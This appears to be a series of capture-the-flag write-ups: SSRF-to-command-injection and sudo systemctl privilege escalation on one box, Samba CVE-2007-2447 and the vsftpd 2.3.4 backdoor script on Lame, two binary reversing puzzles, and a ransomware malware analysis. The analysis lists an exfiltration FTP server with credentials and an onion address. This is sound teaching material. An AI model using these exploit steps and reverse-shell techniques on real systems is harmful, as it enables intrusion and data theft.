I started by running nmap -T4 -p- <ip> to identify all open ports:

I then ran nmap against the open ports, to identify the service: nmap -T4 -p 22,80,8338,55555 -sV -sC <ip>. This identified the following ports:

• 22: OpenSSH 8.2p1
• 80: filtered-http
• 8338: filtered-unknown
• 55555: Golang net/http server

I then tried visiting http://<ip>:80, which returned a 404. I then tried http://<ip>:55555, which returned a website called “Request Baskets” powered by request-baskets 1.2.1.

A quick Google search indicates that this version of Request Baskets contains a SSRF vulnerability via /api/baskets/{name} (CVE-2023–27163). According to the description, this vulnerability should let us access both network resources and sensitive information.

According to Huntress, the vulnerability could lead to a “full system takeover”.

# Exploitation

## Server-Side Request Forgery (SSRF)

To find an exploit for CVE-2023–27163, I simply Google’d CVE-2023-27163 site:github.com. I found this PoC exploit and downloaded it.

This exploit takes two arguments:

1. The URL to the website (http://<ip>:55555).
2. The ‘URL’ to my machine (http://<attacker-ip>:<attacker-port>)

First, I set up a netcat listener. Then I ran the exploit, which created a basket called “ragnqt”.

I then opened the newly created basket: http://<ip>:55555/ragnqt. This resulted in the GET request being shown in netcat, proving that the service is vulnerable.

From the enumeration phase, I wasn’t able to identify the service running on port 80. However, we can use this exploit to get the HTML proxied back from the internal/local service. Let’s try.

To do this, we simply change the second argument to http://127.0.0.1:80 and run the exploit:

Now we can visit the newly created basket:

## Command Injection

As we can see above, Maltrail 0.53 was running on port 80. A quick Google search indicates that this version of Maltrail is vulnerable to unauthenticated command injection.

I then Google’d Maltrail 0.53 exploit site:github.com and found this exploit. This Python script takes three arguments:

1. The attacker IP.
2. The attacker listening port.
3. The target URL.

First I set up a listener with nc -lvnp 4448 and ran the exploit. This got me a shell as the user “puma”:

Let’s upgrade the shell before moving on. Follow these steps:

1. In the shell: python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
2. CTRL + Z
3. In your terminal: stty raw -echo; fg (you may have to click Enter a few times)
4. In the shell: export TERM=xterm

Now let’s get the user flag. It’s called user.txt and is located in puma’s home folder.

# Privilege Escalation

When working on privilege escalation in Linux systems, the first command you want to run is sudo -l. The command shows what commands the current user can run as sudo.

Luckily for us, this is really easy to exploit. systemctl uses less as the default pager if the output is longer than the terminal window. Furthermore, in less we can actually run commands, including spawning shells. And since we run the command as root, the resulting shell will be spawned with root. Let’s try.

First run sudo /usr/bin/systemctl status trail.service and then write !/bin/bash and click Enter. This will spawn a shell as root!

The last step is simply to find the root flag, which is located at /root/root.txt.

# Enumeration

## Task 1

How many of the nmap top 1000 TCP ports are open on the remote host?

I started by scanning the target using Nmap to identify open TCP ports. By default, Nmap scans the 1,000 most common ports.

$ nmap -T4 10.129.93.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:51 UTC
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.03 seconds

Based on the response, I repeated the scan with -Pn to skip host discovery:

$ nmap -T4 10.129.93.45 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:51 UTC
Nmap scan report for 10.129.93.45
Host is up (0.031s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Answer to task one: 4

## Task 2

What version of VSFTPd is running on Lame?

To identify service versions and additional information, I ran another scan using -sV for version detection and -sC to run Nmap’s default scripts:

$ nmap -T4 10.129.93.45 -Pn -sV -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:54 UTC
Nmap scan report for 10.129.93.45
Host is up (0.028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.15.218
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-10-31T09:54:20-04:00
|_clock-skew: mean: 1h59m41s, deviation: 2h49m44s, median: -20s

The scan revealed several interesting findings. FTP uses vsftpd 2.3.4 with anonymous login enabled. SSH uses OpenSSH 4.7p1. SMB uses Samba 3.0.20-Debian with SMB message signing disabled.

Answer to task 2: 2.3.4

# Vulnerability Identification and Exploitation

## Task 3

There is a famous backdoor in VSFTPd version 2.3.4, and a Metasploit module to exploit it. Does that exploit work here?

I started with searching ExploitDB for vulnerabilities affecting vsftpd 2.3.4 and found an exploit called vsftpd 2.3.4 — Backdoor Command Execution (Metasploit). Since this is a Metasploit module, I opened msfconsole and searched for the exploit and found this exploit:

I then configured the options and executed the exploit. However, it failed to establish a session.

Answer: no

## Task 4

What version of Samba is running on Lame? Give the numbers up to but not including “-Debian”.

I found this initially. The Nmap scan identified Samba 3.0.20-Debian running on port 445.

Answer: 3.0.20

## Task 5

What 2007 CVE allows for remote code execution in this version of Samba via shell metacharacters involving the SamrChangePassword function when the "username map script" option is enabled in smb.conf?

To find potential exploits affecting Samba 3.0.20, I searched for the version in Metasploit. The search returned two results, one of which matched the vulnerability described in the question:

I then ran info on the exploit to see its description. At the bottom there are several references to CVE-2007–2447:

According to CVE.org, the vulnerability affects Samba 3.0.0 through 3.0.25rc3 and allows remote code execution through shell metacharacters in certain MS-RPC functions, including SamrChangePassword when the username map script option is enabled.

Answer: CVE-2007-2447

## Task 6

Exploiting CVE-2007–2447 returns a shell as which user?

I first attempted to exploit the vulnerability using the Metasploit module I found previously. However, the exploit failed with the following error:

“Luckily”, the error appears to be related to a local issue — not the vulnerability itself. I therefore searched for an alternative exploit and found one on GitHub.

I first started a Netcat listener on port 4444:

$ nc -lvnp 4444

I then executed the Python script, specifying the target IP address, SMB port, my VPN IP address and the listener port:

Shortly afterwards, Netcat received the connection. To identify which user the shell was running as, I executed whoami:

Answer: root

## Task 7–8

Submit the flag located in the makis user’s home directory and root’s home directory.

Since the shell was already running as root, I could read both flags:

Answer 7: 8ab0c0cc747b7592f8906de9918be44e

Answer 8: 26786617c32a70fd9e96528d4b343d00

# Investigating VSFTPd

## Task 9

We’ll explore a bit beyond just getting a root shell on the box. While the official writeup doesn’t cover this, you can look at 0xdf’s write-up for more details. With a root shell, we can look at why the VSFTPd exploit failed. Our initial nmap scan showed four open TCP ports. Running netstat -tnlp shows many more ports listening, including ones on 0.0.0.0 and the boxes external IP, so they should be accessible. What must be blocking connection to these ports?

Since netstat -tlnp shows more listening ports than Nmap found, I suspected that a firewall was blocking incoming connections. To investigate, I inspected the firewall rules using iptables -L -n -v.

The output, seen on the left below, contains several UFW chains including ufw-user-input. That chain contains rules allowing incoming connections on TCP ports 21, 22, 139, 445 and 3632.

To verify that these ports (including the “extra” 3632) are accessible, I performed another Nmap scan:

This confirms that all five ports were open. All together, this supports my conclusion that the firewall was restricting access.

Answer: firewall

## Task 10

When the VSFTPd backdoor is trigger, what port starts listening?

To investigate the backdoor, I found another exploit on ExploitDB. I have pasted the exploit below. As we can see, the script attempts to open another connection using tn2 = Telnet(host, 6200).

from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

Answer: 6200

## Task 11

When the VSFTPd backdoor is triggered, does port 6200 start listening on Lame?

To verify if port 6200 starts listening after the backdoor is triggered, I downloaded the exploit and ran it against the target:

The script did not establish a shell. However, since I already had root, I inspected the port 6200 using netstat — before and after running the script:

This confirms that the backdoor had been triggered and that VSFTPd was listening on port 6200.

Answer: yes

Investigative Reversing 1

“We have recovered a binary and a few images: image, image2, image3. See what you can make of it. There should be a flag somewhere.”

I started by running zsteg against the provides images. At least investigative-reversing-1-mystery.png and investigative-reversing-1-mystery3.png seems to contain parts of the flag. Together, it’s 26 bytes of data after image end (IEND):

I then started examining the binary. I started by running diec to gather some basic information, which returned the following:

$ diec investigative-reversing-1-mystery
ELF64
    Compiler: GCC((Ubuntu 8.2.0-7ubuntu1) 8.2.0)
    Library: GLIBC(2.4)[DYN AMD64-64]

This means that we are dealing with a 64-bit ELF file, which is the executable file format for Linux. Furthermore, the program was compiled using GCC and utilizes the standard library, glibc (GNU C Library).

Next, I ran strings on the binary, which returned, among other things:

flag.txt
mystery.png
mystery2.png
mystery3.png
No flag found, please make sure this is run on the server
mystery.png is missing, please run this on the server

The binary here appears to be quite similar to the one in the first task, but in this case, there are three images instead of one. The next step is to decompile the binary to examine the code. I proceeded to open the binary in Ghidra.

Below is an excerpt from the code. It first opens flag.txt in read mode and the images mystery.png, mystery2.png and mystery3.png in append mode, which means that data is written to the end of the image file.

__stream = fopen("flag.txt","r");
__stream_00 = fopen("mystery.png","a");
__stream_01 = fopen("mystery2.png","a");
__stream_02 = fopen("mystery3.png","a");

As you can see below, fread(local_38, 0x1a, 1, __stream) first reads 26 bytes from flag.txt. This aligns with the 26 bytes we discovered using zsteg. The next step, therefore, is to examine exactly how the program appends the values, so that we can reverse the process and get the flag.

fread(local_38,0x1a,1,__stream);

Before moving on, let’s translate the pointers to the file names:

• __stream = flag.txt
• __stream_00 = mystery.png
• __stream_01 = mystery2.png
• __stream_02 = mystery3.png

Just to recap before we really get started: the program distributes the 26 characters that make up the flag across three images. To reconstruct the flag, I first need to determine where each character was placed.

As you can see below, the second character is added to mystery3.png. However, the character is not changed:

fputc((int)local_38[1],__stream_02);

The first character is changed and then added to mystery2.png:

fputc((int)(char)(local_38[0] + '\x15'),__stream_01);

0x15, or ‘\x15’ is the hexadecimal notation for 21 in decimal. Thus, the second image contains a modified version of the first character. To get the orginal character, we will later subtract 0x15 from that value.

The third character is added to mystery3.png unchanged:

fputc((int)local_38[2],__stream_02)

The fourth character, however, is stored temporarily and is not yet written to an image. However, this temporary variable is used in a loop later.

local_6b = local_38[3]

The loop:

for (local_68 = 6; local_68 < 10; local_68 = local_68 + 1) {
  local_6b = local_6b + '\x01';
  fputc((int)local_38[local_68],__stream_00);
}

The loop runs four times, with local_68 taking the values, 6, 7, 8, and 9. In each iteration, it increases local_6b with 1. Separately, it writes the character at local_38[local_68] to mystery.png unchanged. This places the seventh through tenth characters in that image, while increasing the fourth character by 4.

The stored fourth character has now had its numerical value increased by 4. It’s then written to mystery2.png:

fputc((int)local_6b,__stream_01)

Now, back to character 5 and 6. These are both written unchanged:

fputc((int)local_33,__stream_02);
fputc((int)local_34,__stream_00);

The first line writes the sixth character to mystery3.png, and the second line writes the fifth character to mystery.png. As mentioned above, both are written unchanged.

The next loop writes the characters at index 10 through 14 to mystery3.png unchanged:

for (local_64 = 10; local_64 < 0xf; local_64 = local_64 + 1) {
  fputc((int)local_38[local_64],__stream_02);
}

The last loop writes the remaining eleven characters to mystery.png. Again, no arithmetic operation is applied, so the characters are written unchanged.

for (local_60 = 0xf; local_60 < 0x1a; local_60 = local_60 + 1) {
  fputc((int)local_38[local_60],__stream_00);
}

Based on this, we can state the following: mystery.png should contain 16 extra bytes, mystery2.png should contain 2 extra bytes, and mystery3.png should contain 8 extra bytes. That’s correct — zsteg showed the same values!

To obtain the original flag, I must reverse the changes in mystery2.png and place all the characters back in their original order. Luckily, the airthmetic part is simple: only the two bytes in mystery2.png were changed.

The two bytes in mystery2.png are 0x76 and 0x68. At 0x76, 0x15 was added, so we must subtract 0x15. At 0x68, 0x4 was added, so we must subtract 0x4. Unchanged, it looks like this in Ghex:

After reversing the arithmetic operations, mystery2.png looks like this:

Next, we must assemble the flag following this sequence:

• Index 0 of the flag: the first byte from mystery2.png, after reversing.
• Index 1–2 of the flag: the first and second byte from mystery3.png.
• Index 3 of the flag: the second byte from mystery2.png, after reversing.
• Index 4 of the flag: the first byte from mystery.png.
• Index 5 of the flag: the third byte from mystery3.png.
• Index 6–9 of the flag: bytes 2–5 from mystery.png.
• Index 10–14 of the flag: bytes 4–8 from mystery3.png.
• Index 15–25 of the flag: bytes 6–16 from mystery.png.

Let’s put the whole flag together: I ran zsteg -a on all the images again — and added the characters in order. That resulted in:

Answer: academy{An0tha_1_7a75d9ea}

Investigative Reversing 0

“We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere.”

I started by running zsteg -a against the provided image. This returned what looks like the start and end of the flag:

Based on this, the flag most likely starts with academ and ends with _aeebde6b}. Since the task provided two files, I assume that I have to work on the binary file to get the rest of the flag.

I then started examining the binary. I started by running diec to gather some basic information, which returned the following:

ELF64
    Compiler: GCC((Ubuntu 8.2.0-7ubuntu1) 8.2.0)
    Library: GLIBC(2.4)[DYN AMD64-64]

This means that we are dealing with a 64-bit ELF file, which is the executable file format for Linux. Furthermore, the program was compiled using GCC and utilizes the standard library, glibc (GNU C Library).

Next, I ran strings on the binary, which returned, among other things:

flag.txt
mystery.png
No flag found, please make sure this is run on the server
mystery.png is missing, please run this on the server
at insert

This indicates that the binary is atleast related to the flag. The next step, is therefore to decompile the binary to examine the code. I proceeded to open the binary in Ghidra.

Below is an excerpt from the code. It first opens flag.txt in read mode and mystery.png in append mode, which means that data is written to the end of the image file.

__stream = fopen("flag.txt","r");
__stream_00 = fopen("mystery.png","a");

This aligns with the 26 bytes we discovered using zsteg. The next step, therefore, is to examine exactly how the program appends these values, so that we can reverse the process and get the original flag.

sVar1 = fread(local_38,0x1a,1,__stream);

As you can see above, fread(local_38, 0x1a, 1, __stream) first reads 26 bytes from flag.txt. Then, the first six bytes are written unchanged. This explains why the start of the flag (academ) is readable in the zsteg output:

fputc((int)local_38[0],__stream_00);
fputc((int)local_38[1],__stream_00);
fputc((int)local_38[2],__stream_00);
fputc((int)local_38[3],__stream_00);
fputc((int)local_34,__stream_00);
fputc((int)local_33,__stream_00);

Then, the first loop modifies 9 bytes (bytes 6–14). Inside the loop, the byte at the current index is retrieved and the program adds 5 to the byte value before the result is written to the image:

for (local_54 = 6; local_54 < 0xf; local_54 = local_54 + 1) {
  fputc((int)(char)(local_38[local_54] + '\x05'),__stream_00);
}

Then one byte is processed separately. local_29 corresponds to byte index 15. Here the program reduces the byte value by three before writing it:

fputc((int)(char)(local_29 + -3),__stream_00);

Finally, the last 10 bytes. 0x10 equals 16 and 0x1a equals 26. Since there is no arithmetic, the bytes are written unchanged. This explains why the end of the flag (_aeebde6b}) is readable in the zsteg output:

for (local_50 = 0x10; local_50 < 0x1a; local_50 = local_50 + 1) {
  fputc((int)local_38[local_50],__stream_00);
}

Now that I know which arithmetic operations have been performed on the bytes, I just need to reverse them to get the entire flag. To do so, I opened the image file in Ghex. Here we can see that the flag displayed is the same as the one we initally saw with zsteg.

I then located the ~ character, which was immediately after academ. I subtracted 5 from 0x7E, resulting in 0x79. I then performed the same operation on the subsequent 8 bytes. As you can see below, the preliminary flag is now academy{f0und_1q_aeebde6b}.

For the next byte, 3 had been subtracted, so I need to add 3 back: 0x71 becomes 0x74. And since no arithmetic operations are performed on the final 10 bytes, I now have the complete flag:

Answer: academy{f0und_1t_aeebde6b}

Task description

“Your incident-response team recovered a suspicious Linux executable named harvest from a compromised server. The sample appears to collect host information, upload data over FTP, and encrypt files before leaving a ransom note.”

Warning: Real malware

After unzipping the provided file, we get two files:

• danger.txt
• danger.zip

Contents of danger.txt:

Dear Player,

This text file is to warn you that the ZIP file contains software that may
interact with your computer and files. This software has been intentionally
included for educational purposes and is NOT intended to be executed or used
otherwise. Always handle such files in isolated, controlled, and secure 
environments.

It is strongly recommend you proceed by:

1 - Running the sample in a controlled environment, for example Pwnbox or an 
isolated virtual machine.
2 - Only unzip the software in this controlled environment, using the password
provided.
3 - Unzip the file in the VM and enjoy analysing!

PLEASE EXERCISE EXTREME CAUTION!

The ZIP file containing the software is password-protected for your safety. The 
password is “&PD8LhraU1hx”. It is strongly recommended that you do NOT extract 
or execute the contents of this ZIP file unless you understand the risks 
involved. By reading this file and using the provided password to unzip the 
file, you acknowledge and fully understand the risks as detailed in this 
warning.

Please read the attached warning and make sure that you understand the risks involved with this challenge before moving on! I strongly recommend that you use a virtual machine. Additionally, I recommend that you disable all network adapters. If you want to run the executable, you should also disable shared clipboard, shared folders, drag and drop, and USBs.

Getting started

After unzipping danger.zip I got the file called harvest. Before starting with any analysis, I checked the integrity of the file:

$ sha256sum harvest 
54f17a9549c48a2c27c061ef16d1c51d89cc19d32b3b71b772ab531f296a4376  harvest

$ md5sum harvest 
a16884d895cd2f335142fb8d46d43a75  harvest

These hashes match those provided by the challenge, so the integrity if the file is good. Next, I checked file and diec to gather some basic information.

$ file harvest 
harvest: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=62bbc4b3f669b3f9f565f3ccceb12564f00e11e9, for GNU/Linux 3.2.0, 
not stripped

$ diec harvest 
ELF64
    Compiler: GCC((Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0)
    Library: GLIBC(2.4)[DYN AMD64-64]
    Library: Curl

The results above shows that it’s a 64-bits ELF executable for Linux on the x86–64 architecture. diec shows the compiler (GCC 13.3.0) and finds references to GLIBC and Curl. Additionally, the file is not stripped, meaning that analysis will be easier since many functions will have descriptive names.

Next, I used strings to find readable text in the file. It looks like a ransomware. lp_collect_system_info and /etc/passwd indicates collection of system and user information. lp_encrypt_handler, EVP_aes_256_cbc and BEGIN PUBLIC KEY indicates encryption. lp_upload_handler and ftp://92.255.57.58, along with the FTP credentials, indicates exfiltration of data. The list of file extensions indicates which files the ransomware targets. Lastly, it contains a ransomnote saying: “Yor servers are all encrypted.” and a threat to publish the data.

Information gathered:

Website: kd24u5e4ggp2m4k4w23lm5fu1nurmme6ugrwi9btachx83lpw1t6qlxf.onion

Targeted files: txt,xls,xlsx,csv,sql,jpg,doc,docx

FTP server: ftp://92.255.57.58

FTP username: ftpserver02

FTP password: k0@43315wl

And more, but omitted for brevity.

Task 1

“What is the hardcoded 4-digit victim ID embedded in the binary and used to name its on-disk artifacts?”

To find the 4-digit ID, I opened the harvest file in Ghidra and looked at the main() function in the decompiler window. The following two lines are relevant for this task:

  id = &DAT_00107246;
  sprintf(filename,"/tmp/%s.txt",&DAT_00107246);

The first line sets the id to point to the data at the address DAT_00107246. The second line builds a filename where %s is replaced with the string at DAT_00107246. This results in the filename /tmp/<ID>.txt. This is the ‘on-disk artifacts’. The next step is to find the 4-digit ID itself.

I double-clicked on DAT_00107246 in the decompiler window, which takes me to the data in the listing window. As you can see below, DAT_00107246 contains the string 1606.

This means that the line sprintf(filename,"/tmp/%s.txt",&DAT_00107246); builds the filename /tmp/1606.txt.

Answer: 1606

Task 2

“What is the full absolute path of the file where the malware writes collected system information before exfiltration?”

I found the answer in the previous task. First, the path is built with sprintf(filename,"/tmp/%s.txt",&DAT_00107246);. Then the program executes lp_collect_system_info() and lp_save_system_info().

Later, on line 107, lp_upload_handler(filename) is executed. To see how the malware actually uses /tmp/1606.txt, I opened lp_save_system_info() in the decompiler window.

filename has already been set to /tmp/1606.txt and the line __stream = fopen(filename,"w") opens that file for writing. If the file doesn’t exist, it will create it. If it already exists, it will empty its contents. Then the program uses fprintf() to write system information to the file.

void lp_save_system_info(void)

{
  long lVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen(filename,"w");
  if (__stream != (FILE *)0x0) {
    fprintf(__stream,"System Name: %s\n",system_name);
    fprintf(__stream,"Node Name (Hostname): %s\n",node_name);
    fprintf(__stream,"Release: %s\n",release);
    fprintf(__stream,"Version: %s\n",version);
    fprintf(__stream,"Machine Architecture: %s\n",machine_architecture);
    fprintf(__stream,"Kernel Version: %s\n",kernel_version);
    fprintf(__stream,"CPU Architecture: %s\n",cpu_architecture);
    fprintf(__stream,"Number of CPU Cores: %d\n",(ulong)num_cpu_cores);
    fprintf(__stream,"Total Memory: %ld\n",total_memory);
    fprintf(__stream,"Free Memory: %ld\n",free_memory);
    fprintf(__stream,"Available Memory: %ld\n",available_memory);
    fprintf(__stream,"Total Disk Space: %ld\n",total_disk_space);
    fprintf(__stream,"Free Disk Space: %ld\n",free_disk_space);
    fprintf(__stream,"File System Type: %s\n",file_system_type);
    fprintf(__stream,"Process ID (PID): %d\n",(ulong)pid);
    fprintf(__stream,"Parent Process ID (PPID): %d\n",(ulong)ppid);
    fprintf(__stream,"Current User: %s\n",current_user);
    fprintf(__stream,"Current Working Directory: %s\n",current_working_directory);
    fprintf(__stream,"User ID (UID): %d\n",(ulong)uid);
    fprintf(__stream,"Group ID (GID): %d\n",(ulong)gid);
    fprintf(__stream,"Load Average (1-minute): %f\n",load_average_1);
    fprintf(__stream,"Load Average (5-minute): %f\n",load_average_5);
    fprintf(__stream,"Load Average (15-minute): %f\n",load_average_15);
    fprintf(__stream,"Environment Variables: %s\n",environment_variables);
    fprintf(__stream,"/etc/passwd file: %s\n",passwd_file);
    fclose(__stream);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

This confirms that /tmp/1606.txt is the correct answer.

Answer: /tmp/1606.txt

Task 3

“Which command-line option supplies the list of file extensions the ransomware targets for encryption? Answer with the option name only, without the leading dashes.”

To see the command-line option for supplying the list of file extensions, I looked at the main-function and saw local_e8 = (long *)lp_option_list(&DAT_0010726b).

I then double-clicked on &DAT_0010726b, which showed me the following in the listing window. As you can see below, DAT_0010726b contains the string exts.

Answer: exts

Task 4

“What system file does the malware read to enumerate user accounts on the victim host?”

To see where the malware finds the user accounts, I went back to the function lp_collect_system_info(). Below you can see that the function opens /etc/passwd in read, and stores a copy of the file called passwd_file.

As you can read here, /etc/passwd stores user account information. It contains a list of the accounts, and provides the user ID, group ID, home directory, shell, and more.

Answer: /etc/passwd

Task 5

“What printf-style format string does the ID-generation function use to serialise its random value into the 5-byte buffer it allocates?”

To find the function, I opened “Functions” in the symbol tree on the left side of the window. I scrolled down to lp_generate_id and opened it in the decompiler window.

char * lp_generate_id(void)

{
  long lVar1;
  int iVar2;
  char *__s;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __s = malloc(5);
  iVar2 = rand();
  snprintf(__s,5,"%04d",(ulong)(uint)(iVar2 % 10000));
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return __s;
}

The line iVar2 = rand(); generates a pseudorandom number, and iVar2 % 10000 limits the value to 0–9999. The format string %04d writes the number as four decimal digits, with leading zeroes if necessary.

Answer: %04d

Task 6

“When the confirm flag is nonzero and quit is clear, what signal number causes the malware to clear confirm instead of requesting traversal to stop?”

The following line is in the main function: confirm = quit == '\0';. If quit is 0, confirm is set to true. Otherwise, confirm is set to false. Furthermore, the main function contains signal actions handled by lp_signal_handler:

  local_a8.__sigaction_handler.sa_handler = lp_signal_handler;
  local_a8.sa_flags = 0;
  sigaction(2,&local_a8,(sigaction *)0x0);
  sigaction(0xf,&local_a8,(sigaction *)0x0);
  sigaction(3,&local_a8,(sigaction *)0x0);

To find the signal number, I opened lp_signal_handler() in the decompiler window:

void lp_signal_handler(int param_1)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (quit == '\0') {
    if ((param_1 == 2) && (confirm != '\0')) {
      confirm = '\0';
    }
    else {
      lp_traverser_stop();
      quit = '\x01';
    }
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

This condition gives me the answer:

if ((param_1 == 2) && (confirm != '\0')) {
      confirm = '\0';
    }

param_1 is the signal number that the function receives. When quit is 0, confirm is not 0, and the signal number is 2, confirm is reset.

Answer: 2

Task 7

“What is the chunk size in bytes passed to read() during the per-file encryption loop?”

I must first find the per-file encryption loop. On line 109 in main, I see the following:

I then double-clicked on lp_encrypt_handler to see its content. The most relevant part is below.

  if (((local_1444 == iVar2) && (local_144c = open(param_1,2), -1 < local_144c)) &&
     (cVar1 = lp_rsa_load(local_1438), cVar1 == '\x01')) {
    do {
      uVar5 = read(local_144c,local_1018,0x1000);
      local_1448 = (int)uVar5;
      if (local_1448 < 1) break;
      cVar1 = lp_rsa_encrypt(local_1438,local_1018,uVar5 & 0xffffffff,local_1018,&local_1450);
      if ((((cVar1 != '\x01') || (_Var4 = lseek(local_144c,-(long)local_1448,1), _Var4 < 0)) ||
          ((local_1448 != local_1450 && (local_1448 == 0x1000)))) ||
         ((local_1450 != 0 && (sVar6 = write(local_144c,local_1018,(long)local_1450), sVar6 < 1))))
      goto LAB_00103d95;
    } while (0xfff < local_1448);
    cVar1 = lp_rsa_done(local_1438,local_1018,&local_1450);
    if ((((cVar1 == '\x01') && (sVar6 = write(local_144c,local_1018,(long)local_1450), -1 < sVar6))
        && (sVar6 = write(local_144c,local_1430,0x400), 0 < sVar6)) &&
       (sVar6 = write(local_144c,local_1030,0x10), 0 < sVar6)) {
      close(local_144c);
      local_144c = -1;
      rename(param_1,local_1440);
    }
  }

The most relevant line is uVar5 = read(local_144c, local_1018, 0x1000). Here, local_144c is the file descriptor, local_1018 is the destination buffer, and 0x1000 is the count (aka: how many bytes to read). 0x1000 is hexadecimal for 4096, meaning that the requested chunk size is 4096 bytes.

The number of bytes that is actually read is then stored in local_1448. The loop condition (0xfff < local_1448) checks if local_1448 exceeds 4095. The loop will therefore continue after reading a full 4096-byte chunk. If s smaller chunk is read, it will be processed before the loop ends.

Answer: 4096

Task 8

“What .onion hostname string is embedded in the ransom note the sample writes to the victim’s home directory?”

I already found this under “Getting started”. On line 120 in main():

Here we can clearly see the hostname: kd24u5e4ggp2m4k4w23lm5fu1nurmme6ugrwi9btachx83lpw1t6qlxf.onion. An .onion website can only be accessed through the Tor Browser, which routes the traffic through encrypted, decentralized relay nodes for anonymity. As a general rule: always be careful with such links.

Answer: kd24u5e4ggp2m4k4w23lm5fu1nurmme6ugrwi9btachx83lpw1t6qlxf.onion

Task 9

“What command-line flag must be passed to PREVENT the malware from deleting itself after execution? Include the leading dashes.”

I started by examining the self-deletion logic in main(). As you can see below, the program checks lp_option_pool("destruct") and calls unlink() on its executable path if the returned value is not zero. This indicates that the flag might be --destruct, but lets confirm it.

if (quit == '\0') {
  cVar1 = lp_option_bool("destruct");
  if (cVar1 != '\0') {
    unlink((char *)*param_2);
  }
  sync();
  local_10c = 0;

Next I looked at lp_option_parse(). Here I found that the boolean flags toggle their current value, rather than enabling an option. To see if --destruct actually would prevent the self-deletion, I would need to find its default value.

To find the default value, I first located the destruct entry in the options table which starts at 0010a1a0. The boolean field at 0010a1b4 contains 01, which means that self-deletion is enabled by default.

So, to sum up: if the malware is started with the command-line flag --destruct, it would change that value from 1 to 0. That would make the self-deletion condition false, and it will skip unlink() — meaning that it won’t get deleted.

Answer: --destruct

Task 10

“What character is used to replace spaces in filenames before FTP upload?”

I started by examining lp_upload_handler(filename) at line 107 in main(). On line 19 of that function, I saw that it calls lp_replace(param_1, 0x20, 0x5f). Now, 0x20 is the space character and 0x5f is the underscore character. Let’s confirm that the function actually replaces them.

void lp_replace(char *param_1,char param_2,char param_3)

{
  long lVar1;
  long in_FS_OFFSET;
  char *local_20;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_20 = param_1; *local_20 != '\0'; local_20 = local_20 + 1) {
    if (param_2 == *local_20) {
      *local_20 = param_3;
    }
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Above I see that the loop goes through the string, character by character, until the terminating null byte. Every time that character is a space, it’s overwritten by a undersocre.

Answer: _

The End

Thanks for reading.

Task description

